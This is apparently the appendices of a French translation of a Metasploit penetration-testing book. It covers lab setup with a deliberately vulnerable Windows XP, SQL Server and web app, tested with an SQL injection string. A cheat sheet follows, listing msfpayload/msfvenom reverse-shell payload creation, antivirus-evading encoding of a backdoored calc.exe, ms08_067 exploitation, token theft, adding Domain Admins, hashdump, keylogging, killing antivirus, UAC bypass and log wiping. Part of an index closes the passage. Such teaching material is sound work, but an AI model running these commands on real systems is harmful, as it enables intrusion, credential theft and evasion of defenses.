Les exemples dans ce livre utilisent une combinaison de Back|Track,
Ubuntu 9.04, Metaspoitable et Windows XP. Back|Track nous sert
dinstrument pour lexploitation et les systmes Ubuntu et Windows sont
nos systmes cibles.
Premirement, crez un Windows XP Service Pack 2 non patch pour
tester les exemples prsents tout au long du livre. Les machines
virtuelles Back|Track et Ubuntu 9.04 peuvent tre utilises sur une
machine hte ayant Windows, Mac OS X ou Linux ou nimporte quel
produit VMware, incluant Workstation, Server, Player, Fusion ou ESX.
Note
Soyez prcautionneux avec vos machines virtuelles Ubuntu et
Windows XP, car ces systmes sont vulnrables et faciles exploiter.
Neffectuez pas dactivits sensibles sur ces machines : si vous pouvez
les exploiter, nimporte qui peut le faire aussi.
Si vous navez pas dj le VMware Player gratuit pour Windows et
Linux, tlchargez-le et installez-le. Si vous utilisez OS X, tlchargez le
trial de trente jours de VMware Fusion (si vous tes sous Windows, vous
pouvez aussi utiliser le VWware Server gratuitement).
Aprs avoir install VMware, double-cliquez sur le fichier .vmx utiliser
avec VMware, ou ouvrez les fichiers de la machine virtuelle dans
VMware Player en choisissant File > Open et en pointant le dossier qui
contient toutes les machines virtuelles et les fichiers associs. Si vous
linstallez depuis une image ISO, crez une nouvelle machine virtuelle et
spcifiez le fichier ISO comme CD-ROM.
Note
Tlchargez Back|Track depuis http://www.backtrack-linux.org/ et
Ubuntu 9.04 depuis http://www.vmware.com/appliances/directory/ en
cherchant Ubuntu 9.04. Metasploitable peut tre tlcharg depuis
https://community.rapid7.com/community/metasploit/blog.
Dmarrage des machines virtuelles Linux
Aprs avoir mis en marche une des machines virtuelles Linux, vous
devez vous authentifier. Les identifiants par dfaut pour les
environnements Linux sont le nom root et le mot de passe toor.
Si vous navez pas de serveur DHCP sur votre rseau, trouvez la plage
dadresses de votre systme et utilisez les commandes montres ci-aprs.
Assurez-vous de remplacer votre adresse IP par une autre non utilise et
ditez linterface rseau que vous allez utiliser. Pour plus dinformations
sur la mise en place manuelle du rseau, voir
http://www.yolinux.com/TUTORIALS/LinuxTutorialNetworking.html.
root@bt:~# nano/etc/network/interfaces
Password:
<inside the nano editor place your valid information into the system>
# Linterface rseau primaire
auto eth0 # linterface utilise
iface eth0 inet static # configure une addresse IP statique
address 192.168.1.10 # ladresse IP que vous voulez
netmask 255.255.255.0 # votre masque de sous-rseau
network 192.168.1.0 # votre adresse rseau
broadcast 192.168.0.255 # votre adresse de broadcast (wan)
gateway 192.168.1.1 # votre hte par dfaut
<control-x>
<y>
Une fois la configuration termine, votre environnement Linux devrait
tre prt tre utilis. Ne mettez pas jour linstallation Ubuntu, parce
que le systme doit rester vulnrable.
Mise en place dun Windows XP vulnrable
Pour effectuer les exemples de ce livre, vous allez avoir besoin
dinstaller une copie avec licence de Windows XP sur une plate-forme
de virtualisation telle que VMware. Aprs avoir complt linstallation,
authentifiez-vous comme administrateur, ouvrez le Control pannel, allez
dans Classic view et choisissez Windows Firewall. Slectionnez Off et
cliquez sur OK. Cela peut sembler irraliste, mais ce scnario est plus
commun quon peut limaginer dans les grandes entreprises.
Aprs, ouvrez la Automatic updates et slectionnez Turn off automatic
updates ; puis cliquez sur OK. Vous ne voulez pas que Windows patche
les vulnrabilits alors que vous essayez dapprendre comment les
exploiter.
Maintenant, configurez linstallation avec une adresse IP statique via le
Network connection control pannel. Mme si ce nest pas requis, faire
cela vous pargne davoir revrifier ladresse cible chaque fois que
vous lancez un exploit.
Configurer un serveur web sur Windows XP
Pour rendre les choses intressantes et fournir une plus grande surface
dattaque, nous allons activer certains services additionnels.
1.Dans le Control pannel, slectionnez Add or remove
programs, puis slectionnez Add/remove Windows
component. Vous devriez voir lassistant de composants
Windows.
2.Cochez la case Internet Information Services (IIS) et
cliquez sur Dtails. Puis cochez File Transfer Protocol (FTP)
Service et cliquez sur OK. Commodment, le service FTP
permet les connexions anonymes par dfaut.
3.Cochez Management and monitoring tools et cliquez sur
OK. Par dfaut, cela installe le Simple Network Management
Protocol (SNMP) et le fournisseur SNMP Window
Management Interface (WMI).
4.Cliquez sur Next pour complter linstallation et
redmarrez la machine.
La combinaison de ces tapes ajoute diffrents services que nous testons
tout au long de ce livre. Le serveur IIS peut tre tlcharg depuis
http://www.secmaniac.com/files/nostarch1.zip et vous permettra de faire
marcher un site. Le service FTP vous permettra de raliser des attaques
bases sur FTP contre le systme Windows, et la configuration SNMP, de
tester les modules auxiliaires lintrieur de Metasploit.
Construire un serveur SQL
Beaucoup de modules de base de donnes lintrieur de Metasploit et
de Fast-Track ciblent Microsoft SQL Server. Vous allez donc avoir
besoin dinstaller SQL Server 2005 Express, disponible gratuitement
depuis le site de Microsoft. ce jour, vous pouvez localiser la version
sans Service Pack de SQL Server Express depuis
http://www.microsoft.com/. Pour installer SQL Server Express, vous allez
avoir besoin dinstaller Windows Installer 3.1 et le Framework .NET 2.0.
Vous pouvez trouver les liens vers les ressources de cette page, et toutes
les autres URL rfrences dans ce livre
http://www.secmaniac.com/files/nostarch1.zip.
Une fois que vous avez install les prrequis, dmarrez le SQL Express
Installer et slectionnez tout par dfaut except le mode
dauthentification. Slectionnez Mixed Mode, mettez un login SA et le
mot de passe password1, puis continuez linstallation.
Une fois linstallation de base de SQL Server termine, vous aurez besoin
de faire quelques changements supplmentaires pour le rendre accessible
sur votre rseau :
1.Slectionnez Start > All programs > Microsoft SQL Server
2005 > Configuration tools, puis slectionnez SQL Server
Configuration Manager.
2.Une fois que la configuration Manager a dmarr,
slectionnez SQL Server 2005 Services, cliquez du bouton
droit sur SQL Server (SQLEXPRESS), puis slectionnez Stop.
3.Dveloppez SQL Server Network Configuration Manager,
puis slectionnez Protocoles pour SQLEXPRESS (voir
Figure A-1).
Figure A-1
Protocoles pour SQLEXPRESS.
4.Double-cliquez sur TCP/IP et sur longlet Protocol, rglez
Enabled sur Yes et Listen All sur No.
5.Puis, toujours dans les Proprits TCP/IP, slectionnez
longlet dadresses IP et enlevez toutes les entres sous IPAll.
Sous IP1 et IP2, enlevez les valeurs pour TCP Dynamic Ports
et rglez Active et Enabled pour chacun deux sur Yes.
6.Finalement, configurez ladresse IP1 pour quelle
corresponde votre adresse IP statique configure plus tt,
rglez ladresse IP2 sur 127.0.0.1, et configurez le port TCP
pour chacune delles sur 1433 (voir Figure A-2). Cliquez sur
OK.
Ensuite, vous allez devoir activer le service SQL Server Browser :
1.Slectionnez SQL Server 2005 Services et double-cliquez
sur SQL Server Browser.
2.Sur longlet Service, rglez le Start Mode sur Automatic.
Figure A-2
Rgler les adresses IP du SQL Server dans la bote de dialogue
Proprits TCP/IP.
Par dfaut, le SQL Server fonctionne sous le compte Network Service
disposant de peu de privilges, ce qui est plutt bien par dfaut.
Nanmoins, cela nest pas entirement raliste par rapport ce que nous
trouvons sur le terrain ; souvent les administrateurs changent cela plutt
que dessayer de rsoudre des problmes de permissions.
Sur la plupart des systmes cibles, nous avons trouv que le SQL Server
Browser fonctionne comme un compte SYSTEM avec des privilges
levs. La plupart des systmes ont le Service SQL Server dmarr en
tant que local systeme, le dfaut dans les plus vieilles versions de
Microsoft SQL Server (2000 et plus ancien). Par consquent, vous
devriez changer de compte en double-cliquant sur SQL Server
(SQLEXPRESS) et en slectionnant Log on as sur Local System. Cliquez
sur Ok quand vous avez fini. Puis, faites un clic droit sur SQL Server
(SQLEXPRESS) et slectionnez Start. Faites de mme avec SQL Server
Browser.
Finalement, fermez le Configuration Manager et vrifiez que tout
fonctionne bien en ouvrant une invite de commande et en entrant netstat -
ano |find "1433" et netstat -ano |find "1434". Vos adresses IP configures
plus tt devraient tre en coute sur les ports TCP 1433 et UDP 1434,
comme montr ici :
Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>netstat -ano |find "1433"
TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING 512
TCP 192.168.1.155:1433 0.0.0.0:0 LISTENING 512
C:\Documents and Settings\Administrator>netstat -ano |find "1434"
UDP 0.0.0:1434 *:*
C:\Documents and Settings\Administrator>
Crer une application web vulnrable
Pour utiliser quelques-unes des fonctionnalits les plus avances de
Metasploit et des outils externes tels que Fast-Track et le SET (Social
Engineer Toolkit), vous allez avoir besoin dune application web
vulnrable tester. Pour crer la base de donnes et les tables,
tlchargez et installez SQL Server Management Studio Express depuis
le lien http://www.nostarch.com/metasploit.htm.
Aprs linstallation et un redmarrage, procdez aux tapes suivantes :
1.Dmarrez lapplication en choisissant Start > All Programs
> Microsoft SQL Server 2005 > SQL Server Mangement
Studio Express.
2.Quand on vous demande une authentification, slectionnez
SQL Server Authentification depuis le menu
dauthentification droulant et authentifiez-vous en utilisant
le nom dutilisateur SA et le mot de passe password1.
3.Dans Object explorer, faites un clic droit sur Databases et
slectionnez New Database.
4.Pour le nom de la base de donnes, entrez WebApp et
cliquez sur OK.
5.Dveloppez Databases et larborescence de la base de
donnes WebApp.
6.Faites un clic droit sur Tables et slectionnez New Table.
Nommez votre nouvelle table users avec les noms de
colonnes et types montrs dans la Figure A-3.
Figure A-3
Table des colonnes des utilisateurs.
7.Sauvegardez la table users, puis faites un clic droit dessus
et slectionnez Open Table.
8.Remplissez la table avec des informations comme celles de
la Figure A-4 puis sauvegardez votre travail.
Figure A-4
Table des utilisateurs remplie.
9.Dveloppez larborescence de Security sous Object
Explorer, puis dveloppez Logins.
10.Faites un clic droit sur Logins dans la fentre User
Properties et slectionnez New Login. Dans la fentre Login-
New, cliquez sur Search, entrez ASPNET, puis cliquez sur
Check Names. Le nom dutilisateur complet devrait
automatiquement se remplir. Cliquez sur OK pour quitter la
recherche dutilisateur.
10.Enfin, toujours dans la fentre User Properties,
slectionnez User Mapping > la case cocher ct de
WebApp > lappartenance au rle db_owner puis cliquez sur
OK.
Voil pour la configuration complte requise pour le ct SQL de
lapplication Web. Sauvegardez et fermez Management Studio.
Tout ce qui reste faire est de crer le site qui interagira avec la base de
donnes que vous avez cre. Faisons cela maintenant :
1.Tlchargez lapplication web vulnrable depuis
http://www.nostarch.com/metasploit.htm et extrayez le
contenu de larchive vers C:\Inetpub\wwwroot\.
2.Ouvrez votre navigateur et allez
http://<votreadresseip>/Default.aspx. Vous devriez voir un
formulaire dauthentification (voir Figure A-5).
3.Entrez de faux identifiants pour vrifier que la requte
SQL est excute correctement. Pour tester des injections
SQL simples pour vrifier si oui ou non lapplication
fonctionne correctement, entrez une simple apostrophe ()
dans le champ du nom et entrez nimporte quoi comme mot
de passe (cest simplement pour le test). Lapplication devrait
produire une page jaune avec une erreur SQL.
4.Cliquez sur la flche retour de votre navigateur et entrez
OR 1=1-- et autre chose (juste pour le test) dans le champ du
mot de passe. Vous devriez voir un message disant "You
have successfully logged in".
Si vous tes all si loin, cela signifie que tout est configur correctement
et que vous tes prt vous lancer dans lexploration.
Figure A-5
Site dattaque.
Mettre Back|Track jour
Comme avec nimporte quel systme dexploitation, vous devez toujours
utiliser la dernire version de Back|Track et de ses outils. Quand vous
vous authentifiez dans Back|Track (root/toor), vous devez excuter les
commandes suivantes :
root@bt:~# apt-get update && apt-get upgrade && apt-get dist-upgrade
Cette squence de commandes slectionnera toutes les mises jour
disponibles. Mettez jour Back|Track en entrant y (pour yes) quand on
vous demande daccepter le certificat SVN. Votre systme recevra alors
quelques petites mises jour de Metasploit, Fast-Track et SET.

root@bt:~# cd /opt/framework3/msf3/
root@bt:/opt/framework3/msf3# msfupdate

. . . SNIP . . .

Updated to revision XXXX.
root@bt:/opt/framework3/msf3# cd /pentest/exploits/set/
root@bt:/pentest/exploits/set# svn update

. . . SNIP . . .

Updated to revision XXXX.
root@bt:/pentest/exploits/set# cd /pentest/exploits/fasttrack/
root@bt:/pentest/exploits/fasttrack# svn update

. . . SNIP . . .

At revision XXXX.
root@bt:/pentest/exploits/fasttrack#
Dans Back|Track, Metasploit est situ dans /opt/framework3/msf3/ ,
donc positionnez-vous dans ce rpertoire avant de mettre jour le
framework via subversion avec msfupdate .
Une fois que Metasploit est mis jour, allez dans /pentest/exploits/set/
et dmarrez svn update. Finalement, allez dans /pentest/exploits/fasttrack/
et mettez jour Fast-Track.
Vous avez maintenant cr et mis jour lenvironnement de test que vous
utiliserez au fil des exemples de ce livre.
B
Aide-mmoire
Voici une liste des commandes les plus utilises et leur syntaxe travers
diffrentes interfaces et outils de Metasploit. Voyez Commandes
Meterpreter Postexploitation, page 362 pour des commandes tout-en-un
qui vous faciliteront la vie.
Commandes MSFconsole
show exploits
Montre tous les exploits du framework.
show payloads
Montre tous les payloads du framework.
show auxiliary
Montre tous les modules auxiliaires du framework.
search name
Cherche un exploit ou un module dans le framework.
info
Affiche les informations propos dun module ou dun exploit spcifique.
use name
Charge un module ou un exploit (exemple : use windows/smb/psexec).
LHOST
Ladresse IP de votre hte local, accessible depuis la cible. Souvent lIP
public lorsque lon nest pas connect au rseau local. Typiquement
utilis pour les reverse shells.
RHOST
Lhte distant ou la cible.
set function
Dfinit une valeur spcifique (par exemple, LHOST ou RHOST).
setg function
Dfinit globalement une valeur spcifique (par exemple, LHOST ou
RHOST).
show options
Montre les options disponibles pour un module ou un exploit.
show targets
Montre les plateformes supportes par lexploit.
set target num
Spcifie le numro dindex prcis dune cible si vous connaissez lOS et
le Service Pack.
set payload payload
Spcifie le payload utiliser.
show advanced
Montre les options avances.
set autorunscript migrate -f
Migre automatiquement dans un processus spar une fois lexploit
achev.
check
Dtermine si une cible est vulnrable une attaque.
exploit
Excute le module ou lexploit et attaque la cible.
exploit -j
Lance lexploit dans le contexte courant (lance lexploit en arrire-plan).
exploit -z
Ne pas interagir avec la session aprs que lexploit ait russi.
exploit -e encoder
Spcifie le type dencodeur utiliser pour le payload (exemple exploit e
shikata_ga_nai).
exploit -h
Affiche laide pour la commande exploit.
sessions -l
Liste toutes les sessions disponibles (utilis lors de la gestion de plusieurs
shells).
sessions -l -v
Liste toutes les sessions disponibles et montre les champs de faon
prolixe, comme la vulnrabilit utilise lors de lexploitation du systme.
sessions -s script
Lance un script Meterpreter spcifique sur toutes les sessions
Meterpreter en cours.
sessions -K
Tue toutes les sessions Meterpreter en cours.
sessions -c cmd
Excute une commande sur toutes les sessions Meterpreter en cours.
sessions -u sessionID
Upgrade un shell Win32 normal en shell Meterpreter.
db_create name
Cre une base de donnes utiliser avec les attaques bases sur les bases
de donnes (exemple : db_create autopwn).
db_connect name
Cre et se connecte une base de donnes pour les attaques automatises
(exemple : db_connect autopwn).
db_nmap
Utilise nmap et place les rsultats dans une base de donnes (la syntaxe
nmap normale est supporte, comme sT v P0).
db_autopwn -h
Affiche laide pour lutilisation de db_autopwn.
db_autopwn -p -r -e
Lance db_autopwn contre tous les ports trouvs, utilise un reverse shell et
exploite tous les systmes.
db_destroy
Supprime la base de donnes courante.
db_destroy user:password@host:port/database
Supprime la base de donnes en utilisant des options avances.
Commandes Meterpreter
help
Ouvre laide de Meterpreter.
run scriptname
Lance des scripts Meterpreter ; pour une liste complte, regardez dans le
dossier scripts/meterpreter.
sysinfo
Montre les informations systmes de la machine compromise.
ls
Liste les fichiers et les dossiers de la cible.
use priv
Charge lextension privilege pour les bibliothques tendues de
Metasploit.
ps
Montre tous les processus en cours et quels comptes sont associs
chacun deux.
migrate PID
Migre dans un processus dfini grce son ID (PID est lID de processus
obtenu avec la commande ps).
use incognito
Charge les fonctions incognito (utilises pour le vol de tokens et se faire
passer pour un autre utilisateur sur la machine cible).
list_tokens -u
Liste les tokens dfinis sur la cible par utilisateur.
list_tokens -g
Liste les tokens dfinis sur la cible par groupe.
impersonate_token DOMAIN_NAME\\USERNAME
Usurpe un token disponible sur la cible.
steal_token PID
Vole les tokens dun processus spcifique et les utilise.
drop_token
Arrte dusurper le token en cours.
getsystem
Tente dlever les permissions au niveau SYSTEM grce de multiples
vecteurs dattaque.
shell
Lance un shell interactif avec tous les tokens disponibles.
execute -f cmd.exe -i
Excute cmd.exe et interagit avec.
execute -f cmd.exe -i -t
Excute cmd.exe avec tous les tokens disponibles.
execute -f cmd.exe -i -H -t
Excute cmd.exe avec tous les tokens disponibles et en fait un processus
cach.
rev2self
Retourne lutilisateur original qui a t utilis pour compromettre la
cible.
reg command
Interagit, cre, supprime, interroge, dfinit et plus encore, avec le
registre de la cible.
setdesktop number
Passe un cran diffrent, en fonction de qui est loggu.
screenshot
Prend une capture dcran de la cible.
upload file
Upload un fichier sur la cible.
download file
Download un fichier depuis la cible.
keyscan_start
Commence enregistrer les touches sur la machine distante.
keyscan_dump
Liste les touches captures sur la cible.
keyscan_stop
Arrte denregistrer les touches sur la machine cible.
getprivs
Obtient autant de privilges que possible sur la cible.
uictl enable keyboard/mouse
Prend le contrle du clavier ou de la souris.
background
Envoie le shell Meterpreter en cours en arrire-plan.
hashdump
Liste tous les hashes de la cible.
use sniffer
Charge le module de sniffing.
sniffer_interfaces
Liste les interfaces disponibles de la cible.
sniffer_dump interfaceID pcapname
Commence sniffer sur la machine distante.
sniffer_start interfaceID packet-buffer
Commence sniffer des paquets sur une plage spcifique.
sniffer_stats interfaceID
Obtient les informations statistiques de linterface sur laquelle vous
sniffez.
sniffer_stop interfaceID
Arrte le sniffer.
add_user username password -h ip
Ajoute un utilisateur sur la cible.

add_group_user "Domain Admins" username -h ip
Ajoute un nom dutilisateur dans le groupe Domain Administrators sur la
cible.
clearev
Efface le journal des vnements sur la machine cible.
timestomp
Change les attributs fichiers, tels que la date de cration (mesure
antiforensique).
reboot
Redmarre la machine cible.
Commandes MSFpayload
msfpayload -h
Liste tous les payloads disponibles.
msfpayload windows/meterpreter/bind_tcp O
Liste toutes les options pour le payload windows/meterpreter/bind_tcp
(toutes peuvent utiliser nimporte quel payload).
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5
LPORT=443 X >
payload.exe
Cre un payload Meterpreter reverse_tcp pour crer une connexion
reverse partir de la cible vers 192.168.1.5 sur le port 443, puis le
sauvegarder en tant quexcutable windows portable, appel
payload.exe.
LPORT=443 R >
payload.raw
Comme prcdemment, mais exporte en format brut. Cela sera utilis plus
tard dans msfencode.
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
Comme prcdemment mais export en format C.
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
Exporte en tant que JavaScript encod en %u.
Commandes MSFencode
msfencode -h
Affiche laide de msfencode.
msfencode -l
Liste les encodeurs disponibles.
msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs,
loop-vbs, asp, war, macho)
Format du buffer encod.
msfencode -i payload.raw -o encoded_payload.exe -e
x86/shikata_ga_nai -c 5-t exe
Encode payload.raw avec shikata_ga_nai cinq fois et lexporte dans un
fichier nomm encoded_payload.exe.
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e
x86/
_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o
multi-encoded_payload.exe
Cre un payload multiencod.
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
Cre un shellcode strictement alphanumrique vers lequel pointe lESI.
Sortie en notation de type C.
Commandes MSFcli
msfcli | grep exploit
Montre seulement les exploits.
msfcli | grep exploit/windows
Montre les exploits seulement pour Windows.
msfcli exploit/windows/smb/ms08_067_netapi
PAYLOAD=windows/meterpreter/bind_tcp LPORT=443
RHOST=172.16.32.142 E
Lance lexploit ms08_067_netapi contre 172.16.32.142 avec un payload
bind_tcp dlivr sur le port dcoute 443.
MSF, Ninja, Fu
LPORT=443 R |
msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t
exe
Cre un payload reverse meterpreter se connectant 192.168.1.5 sur le
port 443, en utilisant calc.exe en tant que modle de backdoor. Conserve
le flow dexecution dans lapplication pour sassurer quelle continue de
fonctionner, et crit le payload encod avec shikita_ga_nai dans
payload.exe.
LPORT=443 R |
msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
Cre un payload reverse meterpreter se connectant 192.168.1.5 sur le
port 443, en utilisant calc.exe en tant que modle de backdoor. Ne
conserve pas le flow dexecution lintrieur de lapplication, et rien
nest affich du ct de lutilisateur final au moment de lexcution. Cela
est utile quand vous avez laccs distance via un exploit de navigateur
et que vous ne voulez pas que lapplication calculatrice apparaisse
lutilisateur. crit aussi le payload encod avec shikita_ga_nai dans
payload.exe.
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o
payload.exe
-e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/handler
PAYLOAD=windows/
meterpreter/bind_tcp LPORT=443 E
Cre un payload meterpreter bind_tcp en format brut, lencode sept fois
avec shikita_ga_nai, le sauve au format Windows PE sous le nom
payload.exe et met en place un multi-handler dans lattente dune
excution.
MSFvenom
Utilisez msfvenom, la suite tout-en-un, pour crer et encoder vos
payloads :
msfvenom --payload
windows/meterpreter/reverse_tcp --format exe --encoder
x86/shikata_ga_nai
LHOST=172.16.1.32 LPORT=443 > msf.exe
root@bt://opt/framework3/msf3#
Cette ligne va crer un payload et le gnrer automatiquement dans un
format excutable.
Commandes Meterpreter postexploitation
lve vos permissions sur les systmes Windows avec Meterpreter :
Vole un token de ladministrateur de domaine depuis un PID donn,
ajoute un compte de domaine groupe Domain Admins, et lajoute au :
meterpreter > ps

meterpreter > steal_token 1784
meterpreter > shell

C:\Windows\system32>net user metasploit p@55w0rd /ADD /DOMAIN
C:\Windows\system32>net group "Domain Admins" metasploit /ADD
/DOMAIN
Dump les hashes de mots de passe depuis la base de donnes SAM :
meterpreter > hashdump
Note
Sur Win2k8, vous pourriez avoir besoin de migrer dans un processus qui
est lanc avec les permissions SYSTEM si getsystem et hashdump donne
des erreurs.
Migre automatiquement dans un processus spar :
meterpreter > run migrate
Tue les processus dantivirus de la cible depuis le script meterpreter
killav :
meterpreter > run killav
Capture les touches sur la cible dans un processus particulier :
meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
Utilise Incognito pour se faire passer pour un administrateur :
meterpreter > use incognito
meterpreter > impersonate_token IHAZSECURITY\\Administrator
Indique quels sont les mcanismes de scurit en place sur le systme
compromis, affiche laide, dsactive le firewall Windows et tue toutes les
contre-mesures trouves :
meterpreter > run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k
Identifie si le systme compromis est une machine virtuelle :
meterpreter > run checkvm
Lance une invite de commande simple depuis la session meterpreter :
meterpreter > shell
Fournit un interface graphique distant (VNC) sur la cible :
meterpreter > run vnc
Met une console meterpreter en arrire-plan :
meterpreter > background
Contourne lUAC Windows :
meterpreter > run post/windows/escalate/bypassuac
Dump les hashes sur un systme OS X :
meterpreter > run post/osx/gather/hashdump
Dump les hashes sur un systme Linux :
meterpreter > run post/linux/gather/hashdump
Index
Symboles
.pcap fichier format 1
.pde fichier 1
[target[Ret]].pack(V) 1
A
Add-on Railgun 1
Adobe Flash 1
Adresse de retour de la cible 1
adresse IP 1, 2
Adresse IP, en trouver une avec Netcraft 1
Adresse JMP ESP 1
Afficher l'output 1
airbase-ng 1
-C 30 1
Aircrack-ng 1
airmon-ng start wlan0 1
Ajouter/supprimer des composants Windows
assistant de composants Windows 1
Algorythme dencryption Blowfish, RATTE 1
allocation dynamique de mmoire 1
analyse forensique 1, 1
antivirus 1, 2, 3
Antivirus
viter la dtection 1, 2
crer des binaires avec msfpayload 1
encoder avec msfencode 1
utiliser des packers 1
utiliser le multi-encodage 1
utiliser un modle dexcutable personnalis 1
APACHE_SERVER 1
API
appels API de base
mixins Meterpreter
afficher loutput 1
architecture Intel x86 1, 2
Armitage 1
ARP 1, 2
attaque de requte string 1
attaque heap-based 1
Attaque man-left-in-the-middle 1
Attaque massive ct client 1
attaque par applet Java 1, 2, 3
attaque par brute force 1
attaque par rainbow table 1
attaque par vecteur \ 1
attaque par web jacking 1
Attaques cot client 1, 2
envoyer un fichier malicieux 1
exploit Aurora pour Internet Explorer 1
exploit par le navigateur 1
exploits par format de fichier 1
exploits web 1
authentification en mode mixte 1
authentification SQL 1
Authentification Virtual Network Computing 1
autoexploit.rc 1
Autopwn 1, 2, 3, 4
autorun.inf 1
Auxiliary classe 1
Auxiliary module 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12
anatomie de 1
dfini 1
en cours dutilisation 1
B
backdoor du trojan 1
Back|Track 1
mettre jour 1
tlcharger 1
banner grabbing 1, 2
Base64 1, 2, 3, 4, 5
base de donnes 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
19, 20, 21, 22, 23, 24
base de donnes msfbook 1, 2
base de donnes SAM 1, 2
binaires 1
bin/dict/wordlist.txt 1
bind shell 1, 2, 3, 4
bind_tcp 1, 2, 3
boutisme 1, 2
bouton
plug-in Bridge 1
Bouton Check Names 1
breakpoint 1, 1
browser_autopwn 1
buffer rand_text_alpha_upper 1
Bulletin de scurit Microsoft 1
Burp Suite 1
C
Capture des keystrokes 1
keyscan_dump 1
keyscan_start 1
keyscan_stop 1
captures dcran 1
caractres alatoires 1, 2, 3, 4
certificat SVN 1
chane malicieuse 1, 2
checksum SHA1 1
checksum SHA256 1
chipset RT73 1
CIDR 1, 2
cl de registre 1, 2
client SSH Windows 1
clone de site web 1
Commande add_group_user 1, 2
Commande add_user 1, 2
Commande background 1, 2, 3
Commande check 1
Commande clearev 1
commande connect 1
Commande db_autopwn 1, 2, 3
Commande db_connect 1, 2, 3, 4, 5, 6, 7
Commande db_create name 1
commande db_destroy 1
commande db_hosts 1
commande db_import 1, 2
commande db_nmap 1
Commande db_services 1
Commande db_status 1
Commande db_vulns 1, 2
commande debug 1
Commande download file 1
Commande drop_token 1
commande EHLO 1
Commande -EncodedCommand 1, 2, 3
Commande /etc/dhcp3/dhcpd.conf/ etc/dhcp3/dhcpd.conf.back 1
commande exe 1
Commande execute -f cmd.exe 1
commande exploit 1, 2, 3, 4
Commande exploit 1
Commande getprivs 1
commande getsystem 1
commande getuid 1
commande hashdump 1
commande help 1
Commande host_process.memory.allocate 1
Commande host_process.thread.create 1
Commande impersonate_token DOMAIN_NAME\USERNAME 1, 2
Commande incognito 1
Commande info 1
commande irb 1
commande jmp esp 1
commande LIST 1
Commande list_tokens -g 1
Commande list_tokens -u 1, 2, 3
commande load auto_add_route 1
Commande load nessus 1
commande load nexpose 1
Commande load sounds 1
Commande ls 1
commande migrate 1
Commande migrate 1
Commande migrate PID 1
Commande msfencode -h 1, 2, 3
commande msfpayload 1
Commande msfpayload -h 1, 2
Commande msfpescan 1
Commande msfupdate 1
commande multi_meter_inject 1
Commande net localgroup administrators metasploit /ADD 1
Commande netstat -an 1
Commande net user 1
Commande nexpose_connect -h 1
Commande packetrecorder 1
Commande ping 1
Commande ps 1, 2, 3
Commande reboot 1
Commande reg 1
Commande resource 1
Commande rev2self 1
Commande route 1
Commande route add 1
Commande route print 1
Commande run 1
Commande run get_local_subnets 1
Commande run hashdump 1
Commande run screen_unlock 1
Commande run scriptname 1, 1
Commande run vnc 1, 2, 3
Commande save 1
Commande screenshot 1, 2
Commande search 1
Commande search name 1
Commande search scanner/http 1
Commande sessions -c cmd 1
Commande sessions -i 1
Commande sessions -i 1 1
Commande sessions -K 1
Commande sessions -l 1, 2, 3
Commande sessions -l -v 1, 2
Commande sessions -s script 1
Commande sessions -u 1
Commande sessions -u 1 1
Commande sessions -u sessionID 1
Commande set 1
Commande setdesktop number 1
Commande set function 1
Commande setg 1, 2
Commande setg function 1
Commande set LHOST 1
Commande set payload payload 1
Commande set payload windows/shell/reverse_tcp 1
Commande set target num 1
Commande shell 1, 2
Commande show 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
Commande show_options 1
Commandes MailCarrier 2.51 SMTP 1
Commande sniffer_dump interfaceID pcapname 1
Commande sniffer_interfaces 1
Commande sniffer_start interfaceID packet-buffer 1
Commande sniffer_stats interfaceID 1
Commande sniffer_stop interfaceID 1
Commande sock.put 1
Commandes pour Meterpreter 1, 2, 3
Capture des touches 1
commande screenshot 1
commande sysinfo 1
postexploitation 1
pour msfcli 1
pour msfconsole 1
pour msfencode 1
pour msfpayload 1
Commande steal_token 1
Commande steal_token PID 1
Commande sysinfo 1, 1
Commande timestomp 1
Commande uictl enable keyboard/mouse 1
Commande unset 1
Commande unsetg 1
Commande upload file 1
Commande use 1, 2, 3, 4
Commande use incognito, 1, 2, 3
Commande use multi/handler 1
Commande use name 1
Commande use priv 1, 2, 3, 4, 5, 6
Commande use scanner/mssql/mssql_ping 1
Commande use scanner/portscan/syn 1
Commande use sniffer 1
Commande use windows/smb/ms08_067_netapi 1
Commande version 1
Commande vnc_none_auth 1
command shell 1
Common Vulnerabilities and Exposures 1
compte Network Service 1
Compte sa 1, 2, 3
Compte SA 1
Compteur idx 1
Compte utilisateur administrateur 1, 2, 3, 4
Constructeur dinitialisation 1
Contrle ActiveX malicieux 1, 2
Contrle du SEH 1, 2
rcriture dexploits pour, portage vers Metasploit 1
rcriture three-byte du 1
restrictions pour 1
Convertisseur de payload Binaire en Hex 1
Corruption de la mmoire non-initialise dans Internet Explorer 7
(MS09-002) 1
Credential Harvester 1
Ctrl-W 1
CTRL-Z 1
D
Dai Zovi 1
Data Execution Prevention 1
Dcharger les hashs de mot de passe 1
Dclaration include 1
Dclaration Space 1
Dcouverte indirecte dinformation 1
Defcon 18 Hacking Conference 1
Def inject 1
Def powershell_upload_exe 1
Dhcpd.conf 1
DHCP (Dynamic Host ConfigurationProtocol) 1
DistCC 1
DNS (Domain Name System) 1, 2
Domain Admins 1
Domain Name System 1
Drake, Joshua 1
E
Egg hunter 1
EIP (extended instruction pointer) register 1, 2, 3, 4
Emails en masse 1
Encase 1
Encodage polymorphique 1
Encodeurs 1
Encodeur shikata_ga_nai 1
